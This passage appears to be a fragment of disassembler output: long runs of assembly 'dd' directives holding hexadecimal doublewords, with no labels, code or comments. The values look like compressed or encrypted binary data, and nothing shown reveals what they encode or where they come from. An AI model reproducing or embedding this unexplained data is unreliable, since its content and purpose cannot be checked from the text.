		dd 9CDA31h, 0F835106Ah,	0EF77F34Ch, 0C7008276h,	3F6B33B7h
		dd 1512562h, 2065A1C1h,	0F33BA9C9h, 11E061C3h, 8D15B201h
		dd 0E0200F28h, 8021458Ch, 0C43A3624h, 4F600B6h,	98F564B7h
		dd 32E5072Fh, 0C527BB3Bh, 0F7A0C014h, 7603F407h, 0C160FF2Ch
		dd 203842E1h, 12C3819Ah, 3F148142h, 0F53D833Ch,	0E0CF6553h
		dd 9DF85h, 41EE5F6h, 0CC33254Bh, 3A0F3800h, 0D14FBA39h
		dd 0C534A475h, 264F608h, 6ADBC080h, 0F0A0A135h,	90006E18h
		dd 0CADD1646h, 0A416402h, 0E4100F76h, 4533EE8h,	24AADF0h
		dd 81FC10C0h, 745F9B7h,	60ABF33Dh, 0BE33A036h, 0AD7DDEF8h
		dd 0C368661Eh, 29B5CE8Ch, 0F1AC4487h, 84F59344h, 42B47822h
		dd 96DA119Bh, 11672111h, 2F21B29Ch, 0BD953308h,	0B04577C2h
		dd 0C75082DEh, 44925A8h, 48AF4D14h, 624380D7h, 0ADD1DE5h
		dd 0F1718900h, 796A2192h, 0DBBB0024h, 32D9FE9Fh, 0B00FB95Dh
		dd 6090FF33h, 0D2840EC8h, 69270017h, 0D1C09673h, 3D0048C1h
		dd 0A316B4A8h, 65F495h,	512A99EDh, 21C17514h, 718D8500h
		dd 33A58161h, 1E0E0E47h, 2B23E357h, 4DB8CFCAh, 0D100B353h
		dd 3D493235h, 2E2DA3h, 0CCBA969Bh, 0A960CF30h, 0E6B5B900h
		dd 17B01408h, 9F29003Dh, 36430207h, 7100F54Eh, 0CC0B45EDh
		dd 19D2D5h, 0CEC12E80h,	0FB76C5AFh, 3AA9A801h, 787C5C6Dh
		dd 48CF0CC4h, 0A10E30C7h, 0F963A6ABh, 67B03846h, 6E000AFCh
		dd 96BDA31Ch, 81BC57h, 0B65D35E4h, 0A4079E45h, 975EC900h
		dd 76CC73A0h, 0B21F00C2h, 0D1E415D8h, 2A3918E8h, 558D87AEh
		dd 0F080353Ah, 0BEC6ABh, 930C2F45h, 627EF503h, 9D884302h
		dd 0C0985B64h, 0D5F8CBh, 3313CDDh, 0B69B2DEAh, 0D2AC1A33h
		dd 0DAA3C0EFh, 2FD100BFh, 9964B5FFh, 64923022h,	0B9ED5B1Eh
		dd 0CA5AF280h, 79595Ch,	63819AFFh, 7A9B1FBCh, 4BE7B400h
		dd 13A447DDh, 0FC753CF6h, 2ED3D500h, 84604D34h,	93C27709h
		dd 0BD8C2365h, 0A13B9801h, 13720086h, 0EC1A370Dh, 0D607CE53h
		dd 5EA9BAE3h, 0C845EF80h, 8D730717h, 237B1CF7h,	99807975h
		dd 2100FEE8h, 0F0EE55CEh, 7BB65034h, 8CF60069h,	977BABB0h
		dd 0B930A82Fh, 0E09C3071h, 4404002Eh, 17AADC2Ah, 11181E1Dh
		dd 0AC2073C1h, 0F7B40048h, 5162F925h, 8E0033A1h, 37938DC5h
		dd 2F72F340h, 67C1CC69h, 7A86F078h, 810D0E05h, 0AC0FC32Fh
		dd 9766408Ah, 59F25h, 0F198B7E8h, 5E271395h, 2E581900h
		dd 0D0F7071Eh, 325F6CCh, 8EA0DBE9h, 978859E1h, 10002E98h
		dd 74367B6Ah, 0FC11711Eh, 1D212802h, 0A36D1DC8h, 0FBF640BBh
		dd 5313C8C7h, 3B305F00h, 0C11679EAh, 0FE943A26h, 1E7EDF80h
		dd 0F085D5BDh, 18493F07h, 4090C583h, 959A7A2Ah,	0D0001078h
		dd 8607A34Eh, 1E990CAh,	64662C16h, 20CE4191h, 3A00B982h
		dd 815E4845h, 3E0C0FCh,	8C921C0Bh, 41E88B9Bh, 0EE01F05Fh
		dd 69467668h, 33C49FA3h, 8DB312A7h, 2DA00304h, 1B903EAFh
		dd 870020A5h, 0CDA32E17h, 24C1B8C4h, 43C71F3h, 3151B09h
		dd 80DFCEB4h, 0AA597Fh,	297C576Fh, 83C19901h, 0E662ED07h
		dd 0D7A0FE78h, 89CF2Bh,	0A0C8768Dh, 194968F5h, 0F2CAB100h
		dd 2CAE36E3h, 33E700C3h, 0EA62C8BBh, 497B7AFFh,	0C48F426h
		dd 23E30700h, 0A41E5E2h, 12E42D39h, 7D5101DCh, 2032BB7Fh
		dd 42FA1E00h, 0CFE7FA02h, 0C04C5968h, 6D109Fh, 250227B8h
		dd 0FC211231h, 94D2CA07h, 0B2A0CB22h, 0C29B34Bh, 0DBE2C938h
		dd 0EB009EE0h, 0D344415Bh, 0B10DEFh, 0D19577BBh, 827F0228h
		dd 0C0C87230h, 0E91A8Fh, 0D5B1BB52h, 453C7605h,	0D9937A00h
		dd 0B078942Ch, 0EC1600C7h, 0C2D5C5A8h, 0E4003B4Ch, 727DD65h
		dd 0A03ACAh, 4660779Fh,	73C0203Dh, 0B61C8607h, 7FC09435h
		dd 4BF63h, 965814FDh, 40D2699Ah, 0DB47520Ah, 0A205C4B0h
		dd 0C040CDC4h, 5E63C690h, 0F6CC00B4h, 0DEB2B11Eh, 0CD000A0Ch
		dd 5569514Dh, 48BC9230h, 0A702043Bh, 1E012FE3h,	5A489101h
		dd 0DA2424h, 0C2B4BE4Fh, 9DE84D6Ah, 0A867921Ch,	6F6296C0h
		dd 35D306h, 386C4182h, 4B1C04DFh, 0C91A9C01h, 0CE9E6293h
		dd 93C4EE8h, 98072E97h,	0B5ABC003h, 5A40D6A8h, 2F1FDD00h
		dd 49D81E5Bh, 8FCC0226h, 41E7522Ch, 0BBDF5040h,	3500D27Ch
		dd 0D8D32270h, 7CBB5B2h, 0EF0D56F3h, 1AC890EAh,	0FF0EEE78h
		dd 0C155E629h, 4D2C9B5Ch, 4CE520h, 3BB0B7C6h, 0D932CF2Ah
		dd 0FAEEF0A0h, 14B16B14h, 0C13D00AEh, 0E18587CBh, 6F120138h
		dd 0FA988252h, 3023C1A2h, 8101AB38h, 4D25D566h,	0D5304A55h
		dd 68A4383Ch, 0FC86F805h, 52F000A9h, 0DB0C8B5Ch, 0AF7B0B00h
		dd 5D96626Ch, 0CCF40097h, 9904EDCDh, 9500A5C7h,	8476BA88h
		dd 505C6798h, 0F2C025h,	71C5D2BFh, 0FAD0B549h, 793D9100h
		dd 14CB1B9Dh, 8EEAF2h, 19BF2118h, 0E29B59B7h, 5D3DFD0Fh
		dd 4864A480h, 784A8080h, 93031CEAh, 94774043h, 6B180DD8h
		dd 459CB000h, 85011999h, 341A00D7h, 6F089BACh, 6D289D41h
		dd 3F008C0Fh, 669AE0F5h, 1F1142E2h, 0C0A3858Fh,	81AC37A7h
		dd 0E800C308h, 361D2A1Ah, 3AE909h, 65F20318h, 8ED29211h
		dd 5E42F500h, 0A65CAB58h, 40E400A2h, 608489C9h,	19001C1Bh
		dd 9ACF32F4h, 0B8DE8FDBh, 31EC3BCCh, 0C085671Fh, 81E24B43h
		dd 990053BBh, 3024D06Fh, 60C8754h, 2ED955A0h, 1001C81Ch
		dd 2EFCFB6h, 56E85934h,	0FFC201C0h, 0FAA400Dh, 80B43041h
		dd 8098FD4Ch, 0CA6E1350h, 0A04000E8h, 67EF621Ah, 0C7007470h
		dd 0A76B76CDh, 202D046h, 0A8925E0Eh, 4CEEFAA4h,	7FAF5803h
		dd 90829D87h, 0D56B09h,	2310BA8Ch, 50C4A9BFh, 0D3F67605h
		dd 99C0CBCFh, 18D126CCh, 0F1F82198h, 0EFF4B964h, 9BA1DD00h
		dd 33097973h, 0F71101DBh, 0DCC7AD68h, 0CE67F0FFh, 0A3976107h
		dd 1E40CCE9h, 0B08B7778h, 0FEA40037h, 2687AA68h, 0F1C2C2C8h
		dd 65980Dh, 0EE4ED664h,	25001CFCh, 33787F13h, 9FA1F3h
		dd 79705DB6h, 69FDD423h, 0E6867200h, 806D263Ch,	0C4C8001Eh
		dd 59898199h, 297C0695h, 28D3C200h, 16D87FAAh, 3974C0h
		dd 2D86C4BDh, 41DD0BFh,	3D632B1Eh, 37233EB0h, 0C39866h
		dd 41D50193h, 0ECFE6282h, 1542321Dh, 0D2E4C2C0h, 0D0A154h
		dd 0A243DDBEh, 0D8F5C4F8h, 23520400h, 7F48C399h, 411F0B67h
		dd 44001859h, 6C73DC15h, 5C40BF4Ah, 0E37917CBh,	5F310001h
		dd 454C7E89h, 2601C6EFh, 4DAD54E7h, 0E0C0F8B7h,	751D000Ah
		dd 6B1291E5h, 8A16DBD4h, 0B8025A98h, 0E0D841BEh, 2DA30ECh
		dd 0C6B87C69h, 50E0F2BCh, 380F9F92h, 0F3C3A1B3h, 0D757FC00h
		dd 9A31D0B6h, 4A2403C4h, 5EA02DDFh, 96C0C0EDh, 16002CD6h
		dd 18F63A08h, 0B011FBEDh, 345E02B4h, 1E82B36Eh,	16129E01h
		dd 24EE4701h, 0FD30BD58h, 0BB0D48D5h, 13380FA9h, 35474C06h
		dd 96E55E79h, 0F9E4C166h, 3F94108Ah, 76450022h,	9F277D54h
		dd 8400C107h, 0B14425A3h, 94A63046h, 0FA6C83E0h, 0E0000B47h
		dd 0E3F6836Eh, 3066A231h, 691948F7h, 0DDF0F48Ah, 821CAF02h
		dd 60445DB8h, 8FD7BEh, 0AD483935h, 6F09D140h, 1433767Fh
		dd 0B9894A9Eh, 88245C8Ah, 3ECE0095h, 0D89119A2h, 0B185F8Fh
		dd 90208B9Dh, 0F8270030h, 80CB9723h, 0D398FAC3h, 0E825B000h
		dd 837BF1A2h, 2F570512h, 34F32Bh, 794727CDh, 8A02DD4Ch
		dd 48AAB90Ah, 2D3BC09Eh
		dd 2EB47BC1h, 210D882h,	0B94E445Bh, 20A0B6E1h, 0ECFBFC91h
		dd 0F381C20h, 7537170Eh, 1EB23001h, 3AC4F87Ch, 7E1F025Ch
		dd 1128315Ah, 0FCBBE441h, 0E040D3C7h, 70CB130h,	72579F3Dh
		dd 416016A5h, 0C100C593h, 27E378A3h, 0B1BE3204h, 2B3B0238h
		dd 24615374h, 3CF2C0FDh, 4209467Ah, 0E85BCh, 0D9A3B1E4h
		dd 0E99200CEh, 5EBE5336h, 0C51C15FDh, 1407231h,	0E4B9BCDFh
		dd 0D4E62C2Dh, 39880734h, 0D077A5ADh, 9E7430F0h, 64049872h
		dd 4FFCD013h, 0D76084E1h, 0DE281399h, 327E0365h, 30AFA8A4h
		dd 0AB9BFE86h, 0D299A000h, 0DA3B385Ch, 49FB0F23h, 0B680E2EFh
		dd 0A782BDA8h, 5864FE02h, 406301C6h, 9718314h, 0B53F3C61h
		dd 0DA0BD081h, 5AA4242Dh, 63D2C3Eh, 6A3FF323h, 8B560030h
		dd 0D39F0E9h, 4117117Ah, 500712AAh, 8C6032CCh, 7DB508Ah
		dd 810CCF37h, 3EC3AEB2h, 0F0C00E0Dh, 7B149A77h,	0DCCEECh
		dd 9EEAA89Ch, 5D48CBh, 0DA450F5Ch, 72115337h, 3EE65800h
		dd 0C6A67DB9h, 0B34C0236h, 0E3291849h, 0E79C42h, 0E9189D71h
		dd 9C4E7324h, 801038BBh, 0D50AF07Ch, 9291A3h, 0D8B7AB78h
		dd 0C1D0DF02h, 7F8EC000h, 9D0C06A9h, 0DEEA00FFh, 0F6F1E34Dh
		dd 0AF1F56C8h, 5503FC6Ah, 0E85CB197h, 0D1110Bh,	0BC38FECEh
		dd 0EF133BC2h, 261C2098h, 9300C144h, 8120DE65h,	58250547h
		dd 778968Eh, 801F8DE2h,	6736295Eh, 5200DCE8h, 0A1C2C3D7h
		dd 3A07E842h, 9E802F9Fh, 0BDFFFD06h, 0AD7D658Dh, 0E67F8900h
		dd 71BA5779h, 13E358BFh, 931BB407h, 746E0786h, 0F7BDC0AFh
		dd 960030C8h, 9CDA2532h, 50227DCBh, 59DEC042h, 1300EC2Ah
		dd 0FAF0D0AFh, 18005537h, 0C33FC169h, 8A88B2h, 29DA5033h
		dd 16717B93h, 0FD36460Bh, 6C18A085h, 0AF137D3h,	86AC5788h
		dd 8D0202C0h, 638E3FBh,	0AD580070h, 84DFFD12h, 0CA0192B8h
		dd 1E609F37h, 13F4E3ACh, 2E4F12Fh, 0D3CD0044h, 92AD8BF2h
		dd 1803E26Ah, 96FF9377h, 0C33ED899h, 434B00CFh,	73F1E764h
		dd 6D07E284h, 0BF29F2A5h, 32BED270h, 59A9148Dh,	0A700904Fh
		dd 955010DDh, 4A1F635Bh, 3EC09D69h, 8A2AFD3Dh, 9E2D0EC8h
		dd 9677BF8h, 0F7E3E167h, 0F4D9F08Eh, 7CB1F600h,	0C645E8E2h
		dd 4D2800C4h, 0F91D0DCAh, 1200116Bh, 5B352DF8h,	18B4848Dh
		dd 28C5B0C2h, 3C00BC07h, 1F7E20E4h, 14232FFDh, 0C4475ED8h
		dd 806F1A12h, 8983B790h, 2C3EE50Bh, 95A30071h, 98F5FEFBh
		dd 1C6E0058h, 3ED66586h, 4904524Eh, 9EC1E90Ah, 17A884C0h
		dd 4C340AFCh, 80C4689Ah, 0BB7C94Eh, 60F609DBh, 9C0D072Ch
		dd 25135180h, 0A75DF93h, 414EBB10h, 3C8E80D4h, 0C804222Fh
		dd 6AC2B007h, 0D2242A6h, 67684097h, 0D72A0008h,	750A21D4h
		dd 8E00E249h, 82A4FE6Fh, 0B431BA86h, 5C65891Ch,	0FBD09480h
		dd 1D00FCF2h, 0A50A32Dh, 7AC19144h, 94960040h, 0CB8FED77h
		dd 2F9063F4h, 47B15016h, 0CAA52C00h, 9299B35h, 0DEDBCF5Bh
		dd 0F9450582h, 377CB860h, 3BB92E16h, 0B7ECF001h, 4E5DFB8h
		dd 17AA2187h, 0AB71000Ah, 0B00C847h, 3837F16h, 978B78h
		dd 12EE2F0h, 0A1737191h, 0D6125100h, 32F481F2h,	255000B2h
		dd 8230EE5Dh, 3300D9FCh, 986654Ah, 11E159h, 23C6939Bh
		dd 40E79CEAh, 89741D00h, 4BA76D9Eh, 0F4F6C7h, 0A995600Ch
		dd 846BFB9Dh, 0C6471901h, 3A3555AFh, 4E0C1AE4h,	51F80975h
		dd 7AE97F01h, 1703CA7h,	1F8CD3DFh, 0E2205D55h, 19783FEBh
		dd 9A805A38h, 6C01E199h, 940FD4BCh, 0E04A40EFh,	7FA6C656h
		dd 454F3B27h, 0FA00B4DCh, 0E4014CF6h, 1E00A438h, 97CEF366h
		dd 70BA32h, 0F2CCB9AFh,	0D8BD8172h, 14928FEEh, 0BB2CCA02h
		dd 409C2502h, 87F7CCh, 0DA4F61A7h, 0D71A0BEEh, 0C8997400h
		dd 0D98C05E6h, 21A70B91h, 7C8028BFh, 0BD58E7FFh, 0F1CDB700h
		dd 85A9E16Bh, 54C3AD5h,	36CF7680h, 0C78667EAh, 0C9565100h
		dd 0EE52F6CBh, 0EF9706D8h, 19BB303Dh, 3AB08D1Ch, 736FFA02h
		dd 44E1C0BFh, 63121C43h, 6036ED3h, 316B41CDh, 0D4471009h
		dd 960C8067h, 2AF5883h,	71C7B109h, 8640370Bh, 81031F64h
		dd 2EB3A153h, 11380FC5h, 7644443Eh, 0F4678280h,	490768F2h
		dd 460BF15Bh, 58577C32h, 0FCA7034Ch, 4F35564Eh,	1A4A6BA8h
		dd 983BB000h, 0E84541EDh, 15120038h, 229F8379h,	71035DC7h
		dd 9CF62DF5h, 1986E97Eh, 1931474h, 9599A76h, 0F35EE340h
		dd 3AA0E8A3h, 84B65763h, 22C79605h, 5D1688D0h, 0D2380EA2h
		dd 0E68E925Bh, 0ADBB685h, 9114E128h, 1BA489Ah, 3B700DBEh
		dd 38865918h, 0E99B2095h, 0E1722E18h, 7AF95F40h, 0A0D87440h
		dd 0F82C8624h, 2F0B846h, 0FB289ADCh, 108E59C6h,	443360BAh
		dd 806528A4h, 5A5063EDh, 0B7007F6Ch, 0AD61C31Ch, 17F144C5h
		dd 80C6AC76h, 361B97E8h, 985F0400h, 0C0DD9E41h,	0BD2F001Dh
		dd 8CA1ADEBh, 37075880h, 0CA347AE0h, 2C96C080h,	65890013h
		dd 8E152D81h, 0C9002AE7h, 93BEF232h, 5CE6D6h, 0B535A179h
		dd 0A339363Bh, 0DDE50101h, 992BC411h, 2CD80E0h,	0C889598Ch
		dd 3BC02181h, 450E733Ah, 8084F796h, 0C5CA887Eh,	1B3B0024h
		dd 10EA7D20h, 930C4B11h, 0EC47EEAEh, 320A0001h,	0C88691B0h
		dd 621D69F9h, 6BC075DCh, 6A407AB8h, 0FFE30012h,	2854E439h
		dd 9F006F05h, 0EDB1FE1Eh, 890976h, 7EFB1962h, 5121DEBh
		dd 6AF8CB0Bh, 4CD0EDBEh, 0E90507D2h, 250BF624h,	9D7F0C03h
		dd 9B2803D2h, 48A31766h, 1645F8E0h, 0E719D515h,	47C405D8h
		dd 1C0F7E76h, 0AF8D83FAh, 24110F45h, 5EA021CFh,	0C79B3FB1h
		dd 3140D93Ah, 0EE992148h, 90821630h, 44300614h,	51977CE7h
		dd 5309F670h, 3E00E85h,	30981540h, 0DB219D08h, 94035308h
		dd 0B4A8539h, 258B7Ch, 56AE32E1h, 0D12712F2h, 991FCDF2h
		dd 0D9DF4C24h, 0A506B700h, 0F69B0153h, 0E3442931h, 890C1F3Ch
		dd 36880E89h, 0F4D7E03Ch, 200F552h, 0D187A054h,	33A85Ch
		dd 5B1821FDh, 0C22BB769h, 70C59C03h, 0E0228F07h, 0DF09E4h
		dd 0D9F5A792h, 0E896DEF3h, 5CE694FAh, 66AC5512h, 0C3118440h
		dd 3BFAA790h, 0E08A2F45h, 641C930Bh, 65AB0424h,	4781AC90h
		dd 0F9A002B0h, 0D275C3DEh, 0A414407Dh, 545F432h, 7BE7E3BCh
		dd 0F690401Ah, 9D0D5889h, 0D7FB8806h, 6008A094h, 91D3212Dh
		dd 0D601D858h, 957B8F47h, 0A880E37Ah, 0B7603784h, 0B200BB5Eh
		dd 0E7BF836Ch, 48065F80h, 1500D4ACh, 0EA973987h, 0FE04E64Eh
		dd 5B89B483h, 579BFC80h, 0F4240FA9h, 204611DEh,	6F00A0ADh
		dd 0F8F35E1Fh, 6DDB164h, 4780FEE5h, 60853901h, 0DF6028C4h
		dd 1C4CD5CBh, 8CE68330h, 0A861F85Dh, 0D8ED502Fh, 0D9AE3094h
		dd 6512E821h, 9DBBF102h, 485CE056h, 2A812558h, 0F0F9EBh
		dd 3F8E4C19h, 0ADFEF29Dh, 9B0AC318h, 29BBDB80h,	154E8E3h
		dd 9D0A588Ah, 88111890h, 580092D4h, 7F61862h, 26853F1h
		dd 0A9B84B33h, 5441A004h, 38793050h, 3D87F4Ch, 3DF296FAh
		dd 0C400A4E1h, 5BEB84E0h, 1A382A03h, 0A237DA63h, 0E1A220CAh
		dd 0D600DB84h, 551E7B5Bh, 0C2237FC0h, 0C7DCB381h, 0B4F861C3h
		dd 0E5002B43h, 0D89FFEFAh, 1DD71670h, 0D3A31835h, 180037C5h
		dd 4DD1F8A9h, 0C3000C18h, 9376B72h, 0F00DB022h,	60D2607Ch
		dd 158D5F58h, 0DB191090h, 0EFA91E7Eh, 1D1A8FCh,	0FC5DA7DFh
		dd 0C5E30725h, 0E902E73Ch, 55C9FFCDh, 2258C80Eh, 0CA230B51h
		dd 5C8A4965h, 985302C8h
		dd 7CC841A6h, 23614F81h, 0DE7FD118h, 690C49BEh,	61182D93h
		dd 0A2B86553h, 90AB30CDh, 613DB90h, 1C419C63h, 0D394CB0Fh
		dd 5F9DE88Ah, 30E8328Eh, 0E9E24065h, 6D7F1843h,	0A79C6B06h
		dd 904831C5h, 86E1E0D4h, 23D4A453h, 21D1018Fh, 19A15EE2h
		dd 0E8292FCAh, 87527600h, 0DA00DD36h, 86043D5Bh, 9807DB98h
		dd 0E9D0F68h, 70F85853h, 9906D0BEh, 0A87C5FCDh,	1A5B00C9h
		dd 0A32EE6B4h, 133C947Ah, 0FF1005C4h, 8DC3E225h, 0E1C0A7FEh
		dd 2E8A04D0h, 2C080EDFh, 0B449000Ch, 218C386Ah,	0D2FF3615h
		dd 69280E4h, 1AE1957h, 0E69D3AB0h, 0E0907394h, 0C6EC1436h
		dd 44005CB6h, 46585EB8h, 8B630382h, 0D6AD4DE8h,	97D798D0h
		dd 917BC8C6h, 0B1E902B1h, 967E1560h, 0A7A1CB40h, 84BC0A3Eh
		dd 9D8370C4h, 5B93E4D1h, 9B6117DFh, 0C0F310A7h,	1C135C3Eh
		dd 0E8680931h, 61F51C04h, 0C07084DFh, 1C3748E2h, 0A180C7C8h
		dd 912B84E8h, 0F1FE009Bh, 0FF53DCA3h, 58EC0F57h, 4BED440h
		dd 3D643B49h, 462C887Bh, 7EE681E6h, 3094DF00h, 651BA4FBh
		dd 913F0D02h, 20B8A277h, 449DF5Ch, 9B88046Ch, 28D221F5h
		dd 84E430F6h, 0A5BCF11h, 9E80CE88h, 0CC7484E5h,	344C984Ah
		dd 6060A6EFh, 6F8145C8h, 6560F261h, 13E14766h, 0FE74451h
		dd 57FF7F01h, 7BB230A4h, 0C500B158h, 2FD54A4Fh,	5603BE82h
		dd 0A200ACE7h, 55AB28FBh, 80F70F47h, 1F5936F1h,	4915F9DDh
		dd 1927493h, 0C15EDEF2h, 22742340h, 0E507014Ch,	2BA34E21h
		dd 0C28C3161h, 952D5D20h, 37E600FAh, 0F86CF5E7h, 9E481EBAh
		dd 0ABF1044h, 49E88048h, 61E3008Ch, 0A993E606h,	0AD0F6342h
		dd 26238B0Ah, 81177Bh, 8CC27F6Ch, 1C3A2EAh, 0C55F8109h
		dd 7340F2Ah, 41839C74h,	0D10054Bh, 7AC115Bh, 635CB690h
		dd 0A00324B7h, 0CDA79AF2h, 0E4281714h, 0FE4002E6h, 0D100F8ABh
		dd 0A295C598h, 90482ECh, 84E3183Eh, 42491BB0h, 80CF8804h
		dd 0AA852C9Dh, 0A1043D10h, 5093BCE7h, 8CBC88h, 23BDE26Ch
		dd 2DF1A1Eh, 29F90CBh, 187C2C90h, 0E085886h, 64FAF09Dh
		dd 8ED84026h, 849758h, 86D0F22Fh, 0EACA2E6Bh, 17D0DB58h
		dd 10006367h, 12900EBFh, 1FCDFFB6h, 7D5F7424h, 83FC4088h
		dd 7CABC412h, 17BC244Bh, 802791D4h, 37866359h, 189D58D1h
		dd 8F719C2h, 141D7C03h,	0CA641E31h, 18297F00h, 0E3FEB5BBh
		dd 32F987B8h, 0D3AE13E4h, 6AEAD040h, 8324CCh, 0A0BE9AC8h
		dd 44685B98h, 5238B667h, 0A4097387h, 415FA858h,	20D911AFh
		dd 875C3014h, 4A72E100h, 0A464999Eh, 88684CAAh,	78531005h
		dd 0FE3C88D0h, 0E589AB76h, 8BE92019h, 0B8E6A5A2h, 3AD59E44h
		dd 2BF52F6h, 5DAC496h, 4036BCDCh, 5D3CDFA8h, 822A3B65h
		dd 7C4EC07Fh, 0D4160044h, 6AB3E601h, 0F88C255Dh, 7D0092E5h
		dd 62E9757h, 15904D1h, 0FEEE0A60h, 0D0B84683h, 0E718440Fh
		dd 0AE910E85h, 70968148h, 0A80020BDh, 68515537h, 12D73272h
		dd 22E1B6h, 1DA25B9Fh, 3C30E474h, 0C1E789D2h, 2F4A0781h
		dd 20F4C77Ch, 1A60F13Ah, 5E66407h, 8C40BECAh, 75E7147Bh
		dd 0CB8E0ACEh, 9A0D690h, 0A064E03Eh, 17004748h,	4430F467h
		dd 1BB6A27Bh, 0B10FA809h, 3EEFAAF0h, 0B0441039h, 0FE2F29DAh
		dd 708D1C84h, 7103BDA6h, 0E28AE409h, 8425BEC1h,	88B489F8h
		dd 3FB00224h, 9862298Ch, 5309DC30h, 80E8A08h, 40A264FAh
		dd 2652F1D8h, 3DED00F5h, 92C77689h, 90B23073h, 1E9AC538h
		dd 0F5946965h, 893F0FDCh, 0D82273C7h, 0C78503Ch, 9543905Fh
		dd 1A221D18h, 6F009624h, 21D08031h, 42C95EE5h, 8006CB40h
		dd 54C6ED34h, 3F6F1352h, 7C4402EBh, 210FE418h, 8041AF92h
		dd 4007D870h, 0BE00011Bh, 713AE885h, 4D187DFEh,	74040438h
		dd 81025FB8h, 0C7C2BF0h, 1581685h, 0F0CD149Dh, 588D90B7h
		dd 817A03D0h, 0B5ADAF04h, 0D980394Dh, 50191E80h, 0ACE99854h
		dd 530204BCh, 8EF00E87h, 0AD90098h, 86207B53h, 366C134Dh
		dd 6350907Fh, 95009170h, 0DDD2169Bh, 3A30FCD5h,	0E2900627h
		dd 0E7C30577h, 3C2EDCBBh, 0C043E910h, 0A85F8CBAh, 80FB4C2Fh
		dd 0CB108E02h, 6441DBA0h, 6BD860CFh, 6467E0AAh,	38E514Eh
		dd 6EC29880h, 0D7044349h, 97705F4Eh, 185410A0h,	0F11B7BE5h
		dd 0B67115D9h, 10F33E01h, 0E630BAE8h, 28BEDC0h,	548CE5E7h
		dd 10C7B3CFh, 0E602A44h, 0EB003783h, 903A34Dh, 6A5FA947h
		dd 206C8806h, 5D1CA0B3h, 0A7BF2EA8h, 61498A58h,	5E90AE80h
		dd 93004346h, 0BBAE107Dh, 0D4F087F7h, 579C8600h, 0DEF3DB55h
		dd 0E87E58E6h, 0F9758980h, 571328BAh, 0F0C5EE3h, 3D4E889Bh
		dd 0FE1DAD36h, 169C4FDDh, 5CB7F400h, 4FF0B666h,	0EF42A13Ch
		dd 0C0324950h, 12229688h, 91A8617Ch, 0F91A3364h, 0DDE88106h
		dd 2E19D555h, 4FF2CC23h, 0FBFCC30h, 0B6C9576Eh,	40A9783Ah
		dd 0FF366803h, 694EC7A0h, 3E7FA116h, 5CB88842h,	0E70440BDh
		dd 66658093h, 0ADACA100h, 0AF9B383Eh, 240B2EEh,	9E80110Fh
		dd 5095F9F7h, 0C0804D91h, 0BA18FB72h, 85626E3Dh, 0FE67A194h
		dd 81EA8584h, 3019FA3Ch, 2E502B60h, 0D0A0F58Ch,	0A8A046E9h
		dd 0E0F4F3E3h, 9180FA64h, 0F421EB61h, 448CD15Eh, 0E3070536h
		dd 0E04EAE21h, 124C84D9h, 2C27C810h, 3E0BD410h,	1184EA86h
		dd 88325BD0h, 2A9F80C9h, 2DCCD185h, 0CB508A00h,	1D8869ACh
		dd 6840A90h, 82C0A660h,	0CA0CA2EFh, 3A3DE440h, 0AA1EC09Ah
		dd 8D80B04Ah, 0E4F5EE17h, 12582993h, 0A4539ECCh, 35ED0828h
		dd 0F6061103h, 0B50BA35Bh, 409898D1h, 0CEF8343Ch, 0B43B3B8Ch
		dd 9A4F250h, 4E3C9F23h,	68603042h, 3896D51Dh, 12CC465Eh
		dd 35038609h, 0D0BB63A3h, 2493715Fh, 2774A56Bh,	0BE8BF010h
		dd 2CF4342Eh, 0B483371Eh, 0A16A0FFDh, 540205D8h, 0EC427CE7h
		dd 0C071843h, 0D33DBD18h, 0CAA599h, 35F74F48h, 0D1E8FC6Ah
		dd 2DC773Bh, 5D954AD5h,	10066E7h, 0E9FFAD49h, 0C2DD4871h
		dd 0EC4798E2h, 1844A042h, 0D004C3C8h, 0CD17B346h, 0BEAB2C3h
		dd 3AD96A9h, 3700EA74h,	0BD079589h, 71D500DEh, 0AE093B1Dh
		dd 0D14443Ah, 0E8C4F9D8h, 5F128CCDh, 2481E4ECh,	7430DE6Dh
		dd 6EA12693h, 452C13B4h, 95D1A8h, 7283D52Ch, 373E0C82h
		dd 0F0131C09h, 0E3F70400h, 7E159AE5h, 21D8B036h, 8C8F7BE6h
		dd 0A09D8258h, 131019FBh, 7C58C8D6h, 1D2A0013h,	65988E54h
		dd 0D9027E90h, 8A99D15Fh, 526C5A97h, 0DD0174F7h, 0D25BEC84h
		dd 0A0986837h, 384E6A3h, 510C5A62h, 5D887F4Ah, 9E3B70h
		dd 2A457B09h, 21742438h, 0B68E44A1h, 78A2CFC0h,	1B1549Ah
		dd 5B6F9724h, 20FE1721h, 0D4FC4C4h, 65B93400h, 2A4861C3h
		dd 0C8F4CB7Bh, 0DC0E878h, 0F70E8653h, 0DCB09478h, 0BF0052F5h
		dd 0DE92648Dh, 16ED115h, 50CB0F6Ah, 0ED45F93Ch,	1E283D7Ch
		dd 17806538h, 29CEEDF2h, 0EC48F31Ah, 4EF04593h,	0C0C78820h
		dd 0E1915CF0h, 0EA1BF700h, 2CFF086Eh, 0E3891747h, 8A5400ECh
		dd 3EE8C2EEh, 0FF9698CFh, 9999D04Eh, 0D2CB6FF1h, 0A7FC40DFh
		dd 6790A236h, 604A44E0h, 10A7AC2h, 502C2439h, 83460DD5h
		dd 5F805D21h, 0A49012E9h, 80D4D5AFh, 0D582452Ah, 25F40300h
		dd 78D224B2h, 222CB05Eh, 0C42D4A35h, 2ED8A970h,	96E0DEC4h
		dd 2C465E3Ch, 26056A3Eh, 80F73B36h, 57398170h, 4B4508B8h
		dd 0A0A59E42h, 0EAA1CDE0h, 0D9260378h, 0B9BA3D85h, 0F4630E8h
		dd 9EE5B50h, 0F25F1316h
		dd 0A397C442h, 264CD804h, 819C84A6h, 9AE73683h,	8C48700Bh
		dd 1E3ED705h, 0D4F25406h, 0F631A0F2h, 5E51FD4h,	0BB6DE8A7h
		dd 5420C1DFh, 78E8FEAAh, 19025F67h, 0DCBC440h, 0D9D471ACh
		dd 14BC1826h, 0E42AA2E9h, 8D9712h, 0DD5E59DCh, 0F150C7A8h
		dd 29488CECh, 8CA2BCE0h, 61DE900h, 7BFE6B80h, 0DE01DD8h
		dd 0B03818ABh, 4D98091Bh, 0C091C06Ch, 8B7F8CE5h, 989D0F17h
		dd 0D5245CCBh, 0A1E10B17h, 0B7755C00h, 0EE04655Eh, 41C976B4h
		dd 8CE600C8h, 8C530B04h, 8B2980Eh, 52F3D6C0h, 5D0A0A68h
		dd 8896F7A8h, 51401E1Ah, 182B7994h, 0DA1B3930h,	0A8D90C1Dh
		dd 0C9E8249Bh, 8EE1320h, 0DEC0F40Ch, 985BED84h,	50249E08h
